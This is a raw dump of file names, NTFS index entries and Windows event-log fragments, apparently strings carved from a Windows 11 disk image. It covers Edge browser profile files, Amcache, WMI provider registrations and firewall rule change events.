WofCompressedData $DSC umrdp.dll.mui UMRDPD~1.MUI umrdp.dll.mui WofCompressedData $DSC UnattendProvider.dll.mui UNATTE~1.MUI UnattendProvider.dll.mui $DSC AppxBlockMap.xml AppxManifest.xml AppxMetadata AppxSignature.p7x logo.pngt.U microsoft.system.package.metadata Microsoft.UI.Xaml Microsoft.UI.Xaml.dll Microsoft.UI.Xaml.winmd MICROS~1.METi resources.pri )MicrosoftWindows.Client.AIX_cw5n1h2txyewy $I300 $I30 $I30 concrt140_app.dll msvcp140_1_app.dll msvcp140_2_app.dll msvcp140_app.dll Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png )MicrosoftWindows.Client.CBS_cw5n1h2txyewy $I300 $I30 $I30 PERSON~1 TextInput.dll Widgets $I30 $I30? ACTION~1 ActionFXRuntime $I300 ActionFXRuntime.manifestl.W $AdaptiveCards.ObjectModel.WinUI3.dll Assets e_sqlite3.dll MIDB28~1.0_X Microsoft.RawImageExtension_2.5.7.0_x64__8wekyb3d8bbwe $I300 S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep S-1-5-~1.PCK $I30 $I30 MICROS~1.MET microsoft.system.package.metadata $I300 UPDATE~1 UpdateHeartbeatScan$ UPDATE~2 UpdatePolicy$ UPDATE~3 UpdateReboot$ RA69CC~1.PNG RawImageExtensionSplashScreen.scale-400_contrast-black.png WofCompressedData RA2D09~1.PNG RawImageExtensionSquare310x310Logo.scale-400_contrast-black.png WofCompressedData RawImageExtensionSquare44x44Logo.scale-100_contrast-black.png 57E5F3ADD9E242C4E9F9EDF79AA97F79E7911C5A8B902EC150D6442E3B85A5AA nE083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C ROOT\CIMV2 __InstanceProviderRegistration provider NS_68577372C66A7B20658487FBD959AA154EF54B5F935DCC5663E9228B44322805\KI_E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C\I_E89A7FFCC0B0A06779EA36F241515EEDC0397EE054953EB7D572C69DEFE87E2F 57E5F3ADD9E242C4E9F9EDF79AA97F79E7911C5A8B902EC150D6442E3B85A5AA m71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD ROOT\StandardCimv2 __MethodProviderRegistration provider NS_B5EC8ADF96E5E6064AD9EB0B1370FDBD664E0B0E7802B6A2A5796B5FAF22AFEE\KI_71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD\I_7D726A53C2E109A7102AA0733AF15E0ABEDDFCEA169FD750AACBD377D8D29F56 0899307408A32040A6DA19C0B1EC2745A3D604BAA9DFFE8EE4B75C3D91E16109 ROOT\StandardCimv2 __EventProviderRegistration provider NS_B5EC8ADF96E5E6064AD9EB0B1370FDBD664E0B0E7802B6A2A5796B5FAF22AFEE\KI_0899307408A32040A6DA19C0B1EC2745A3D604BAA9DFFE8EE4B75C3D91E16109\I_7D726A53C2E109A7102AA0733AF15E0ABEDDFCEA169FD750AACBD377D8D29F56 E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C ROOT\StandardCimv2 __InstanceProviderRegistration provider NS_B5EC8ADF96E5E6064AD9EB0B1370FDBD664E0B0E7802B6A2A5796B5FAF22AFEE\KI_E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C\I_7D726A53C2E109A7102AA0733AF15E0ABEDDFCEA169FD750AACBD377D8D29F56 MSFT_SCMEventLogEvent D890AC6A929040B86C73ED707F71F3BF5A8D5C24B862ABCFD812E1937C8FB0BB PortClsEvent INETCO~1 INetCookies $I300 32D3DC~1 32D3DC3946E2890942AFDE2E418F8F72 http://crl.microsoft.com/pkiinfra/certs/AMERoot_ameroot.crt SETTIN~1.LOG settings.dat.LOG1 SETTIN~2.LOG settings.dat.LOG2 EBWEBV~1 EBWebView $I300 LASTVE~1ate $I30 $I30 Crashpad lockfile Variations Crashpad $I300 $I30 $I30 ATTACH~1 reports settings.datre. throttle_store.dat THROTT~1.DAT reports $I300 ATTACH~1 attachments $I300 THROTT~1.DAT throttle_store.dat settings.dat EDGEJO~1 EdgeJourneys $I300 EdgeJourneys.db EdgeJourneys.db-wal EDGEJO~1.DB EDGEJO~1.DB-.DB EDGEJO~1.DB0 EdgeJourneys.db BROWSE~1 BrowserMetrics $I300 $I30 $I30 BrowserMetrics-699D5A50-1CDC.pmapma BROWSE~1.PMA.PM BROWSE~2.PMA.PM VARIAT~1 Variations metadata COMPON~1 component_crx_cache $I300 $I30 $I30 50ba3f4afc555f19a97c7f9b49677.JS 95FD9D~1.js metadata.json METADA~1.JSO SHADER~1 ShaderCache $I300 data_0 data_1 data_2 data_3 index index History data_0 Default $I300 $I30 $I30 History-journal Safe Browsing Network SHARED~2rac $I30 $I30? README CERTIF~1 CertificateRevocation $I300 6498.2025.9.4 649820~1.4 SERVER~1 ServerCertificate SERVER~2 ServerCertificate-journal Web Data WEBDAT~1 HISTOR~1 History-journal VPNTOK~1 Vpn Tokens Cache $I300 Cache_Data CACHE_~1 No_Vary_Search NO_VAR~1 CACHE_~1 Cache_Data $I300 $I30 $I30 data_1 data_2 data_3 index NO_VAR~1 No_Vary_Search $I300 journal.baj snapshot.baf WEBDAT~2 Web Data-journal DOMAIN~1 Domain Actions $I300 3.0.0.16 300~1.16 LOGIND~4 Login Data For Account-journal AUTOLA~1 AutoLaunchProtocolsComponent $I300 1.0.0.10 100~1.10 SHARED~1 Shared Dictionary $I300 cache db-journal DB-JOU~1 HYPHEN~1 hyphen-data $I300 120.0.6050.0 120060~1.0 CODECA~1 Code Cache $I300 wasm DISCOU~1 discounts_db $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP MEIPRE~1 MEIPreload $I300 ORIGIN~1 OriginTrials $I300 0.0.1.7 001~1.7 SPEECH~1 Speech Recognition $I300 1.15.0.1 1150~1.1 SUBRES~1 Subresource Filter $I300 Indexed Ruleses INDEXE~1d R Unindexed Rules UNINDE~1 UNINDE~1 Unindexed Rules $I300 10.34.0.81 10340~1.81 LOGOLD~1.TMP LOG.old~RF52e2.TMP $I300 27D135~18c2 5FA818~12f6 A96036~150f $I30 $I30 INDEX-~1 FAVICO~1 Favicons-journal TRUSTP~1 Trust Protection Lists $I300 LOCK Network $I300 $I30 $I30 NETWOR~1 Trust Tokens Trust Tokens-journal TRUSTT~1 TRUSTT~2 PARCEL~1 parcel_tracking_db $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP WORKLO~2.JSO workloads.j32.json WofCompressedData EXTENS~2 Extension Scripts $I300 $I30 $I30 LOCK MANIFEST-000001 MANIFE~1 INDEX-~1 index-dir $I300 $I30 $I30 TEMP-I~1-in the-real-index the-real-index~RF3b95e.TMP THE-RE~1 DISCOU~2 discount_infos_db $I300 LOCK LOG.old LOGOLD~1.TMP LOGOLD~1.TMP TRUSTT~2 Trust Tokens-journal INDEX-~1 index-dir $I300 the-real-index THE-RE~1 THE-RE~1 the-real-index Cookies COOKIE~1 Cookies-journal {31F49~1.DB0 {31F4938A-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db GRSHAD~1 GrShaderCache $I300 data_0 data_1 data_2 data_3 index index data_2 data_3 WUCEFF~1.DLL wuceffectsi.dll WofCompressedData Search $I300 $I30 $I30 AppsIndex.db-shm AppsIndex.db-wal APPSIN~1.DB APPSIN~1.DB-.DB APPSIN~2.DB- 1033 $I300 StructuredQuerySchema.bin STRUCT~1.BIN APPSIN~1.DB0 AppsIndex.db APPSIN~1.DB- AppsIndex.db-wal APPSIN~2.DB- AppsIndex.db-shm APPSCO~1.TXT appsconversions.txt SETTIN~3.TXT settingsconversions.txt MICROS~1.UWP Microsoft.VCLibs.140.00.UWPDesktop_8wekyb3d8bbwe $I300 TOKENB~1 TokenBroker $I300 Cache Cache $I300 $I30 $I30 647e1.tbres 01C5CB~1.TBR 5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres 5A2A70~1.TBR Captures $I300 desktop.ini E2C6CB~2 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D E2C6CB~2 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 AppxBlockMap.xmld APPXBL~1.XML.xm AppxManifest.xmld APPXMA~1.XML AppxMetadata APPXME~1 AppxSignature.p7x APPXSI~1.P7X logo.png microsoft.system.package.metadata Microsoft.UI.Xaml Microsoft.UI.Xaml.dll Microsoft.UI.Xaml.winmd MICROS~1.DLL MICROS~1.MET MICROS~1.WIN MICROS~1.XAM resources.pri AppData LocalCachea LOCALC~1tea LocalStatea LOCALS~1EM~ RoamingState ROAMIN~1 Settingse SystemAppData SYSTEM~1e TempState TEMPST~1 appraiser Backup~ encapsulation ENCAPS~1 Programs Amcache.hve' Amcache.hve.LOG1 Amcache.hve.LOG2 Amcache.hve{ca41906b-0ec0-11f1-b1f8-000c29f29c8b}.TM.blfAMCd Amcache.hve{ca41906b-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms Amcache.hve{ca41906b-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000002.regtrans-ms AMCACH~1.BLF AMCACH~1.LOG AMCACH~1.REG AMCACH~2.LOG AMCACH~2.REG 5e4d2846-af9b-4d8e-a640-ec1b41e56c6f.tmp 5E4D28~1.TMP` Cookies Cookies-journal COOKIE~1ata Network Persistent State~RF NetworkDataMigrated NETWOR~1 NETWOR~2g a Reporting and NELin Reporting and NEL-journal REPORT~1tin REPORT~2tin SCT Auditing Pending Reports~RF SCTAUD~1.TM Sdch Dictionaries~R SDCHDI~1.TM Trust Tokens Trust Tokens-journal TRUSTT~1 TRUSTT~2 TRUSTT~1 TRUSTT~2 TRUSTT~2 TRUSTT~2 TRUSTT~2 TRUSTT~2 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational EventData Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Microsoft-Windows-Resource-Exhaustion-Detector Microsoft-Windows-Resource-Exhaustion-Detector/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service EventData Data hrError FolderId Path C:\WINDOWS\system32\config\systemprofile\Documents 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\defaultuser0\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Favorites Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Desktop 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\job\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Favorites Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Pictures Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Pictures Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Videos Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Videos Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Music Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Music Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Downloads Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Favorites Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Favorites Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Documents Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\WINDOWS\system32\config\systemprofile\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\ProgramData Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\ProgramData Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\job\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\job Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\ProgramData Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\ProgramData Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\job\Desktop Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\job Microsoft-Windows-KnownFolders Microsoft-Windows-Known Folders API Service C:\Users\job\AppData\Roaming Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall EventData Data Store Type ModifyingUser ModifyingApplication ErrorCode C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall ErrorCode PolicyChange Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall RuleId RuleName Origin ApplicationPath ServiceName Direction Protocol LocalPorts RemotePorts Action Profiles LocalAddresses RemoteAddresses RemoteMachineAuthorizationList RemoteUserAuthorizationList EmbeddedContext Flags Active EdgeTraversal LooseSourceMapped SecurityOptions ModifyingUser ModifyingApplication SchemaVersion RuleStatus LocalOnlyMapped PolicyAppId ErrorCode d2129069-f570-4ca7-a8b4-01e3be4b3902 Inbound service restriction rule for WinDefend %ProgramFiles%\Windows Defender\MsMpEng.exe WinDefend C:\Program Files\Windows Defender\MsMpEng.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall 5c969069-d0c5-4877-91ef-b6e758651e33 Outbound service restriction rule for WinDefend %ProgramFiles%\Windows Defender\MsMpEng.exe WinDefend C:\Program Files\Windows Defender\MsMpEng.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {1EFB3A6D-C4BD-4AAF-B238-383F68C951F8} WinDefend Outbound for TCP %ProgramFiles%\Windows Defender\MsMpEng.exe WinDefend C:\Program Files\Windows Defender\MsMpEng.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {1EFB3A6D-C4BD-4AAF-B238-383F68C951F8} WinDefend Outbound for TCP %ProgramFiles%\Windows Defender\MsMpEng.exe WinDefend C:\Program Files\Windows Defender\MsMpEng.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {FB8B3736-B9AA-4DE1-9362-0307F5D34EC7} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {1387DBDF-1658-49A2-AA94-8A34D98CFA73} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {FFD9DE4D-9067-46CF-A569-4FC828F6F91E} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {F84F807A-6C05-488A-96A2-182B9D8D8196} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {660CB1EF-B19E-4A55-973E-954208ACEE9E} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {F8B53E6E-327E-4BD8-82E0-13DAC061B014} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {08BA9289-ED1F-4928-9BFE-CC5E4CCB01C5} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {6BB8552D-79E2-4442-A0B6-13F18D3782D6} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackupClient.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {E836A51A-586E-46C3-8C6E-0A864631BD02} Microsoft Edge (mDNS-In) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe 5353 Microsoft Edge C:\Program Files (x86)\Microsoft\Edge\Application\144.0.3719.115\Installer\setup.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {E836A51A-586E-46C3-8C6E-0A864631BD02} Microsoft Edge (mDNS-In) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe 5353 Microsoft Edge C:\Program Files (x86)\Microsoft\Edge\Application\144.0.3719.115\Installer\setup.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {EB51D9FD-0B85-4E95-A324-45312327E8F0} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {F48E6E67-56E9-4317-A084-F3BDFD3FFA62} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {5539895D-00B8-427C-A52C-F851D22923B9} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {964F8B92-1C57-4ACC-8986-FF49B37940D5} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {1D5F0D09-551D-4301-A2D8-506B2B13A95E} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {5EA08CB4-AD85-4CB3-9AE0-F53CE7CECB73} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {218A66D2-758F-47EC-AF1A-23FDDDFB1639} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall {2E3D8623-12BF-4C21-974D-52CB3ED2862D} ms-resource:ProductPkgDisplayName C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe 7000 {78E1CD88-49E3-476E-B926-580E596AD309} C:\Windows\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy-In-Block @{1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://FilePicker/Resources/AppxManifest_DisplayName} @{1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://FilePicker/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy-Out-Block @{1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://FilePicker/Resources/AppxManifest_DisplayName} @{1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://FilePicker/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy-In-Block @{c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://FileExplorer/Resources/AppxManifest_DisplayName} @{c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://FileExplorer/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy-Out-Block @{c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://FileExplorer/Resources/AppxManifest_DisplayName} @{c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://FileExplorer/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy-In-Block @{E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://AppResolverUX/Resources/AppxManifest_DisplayName} 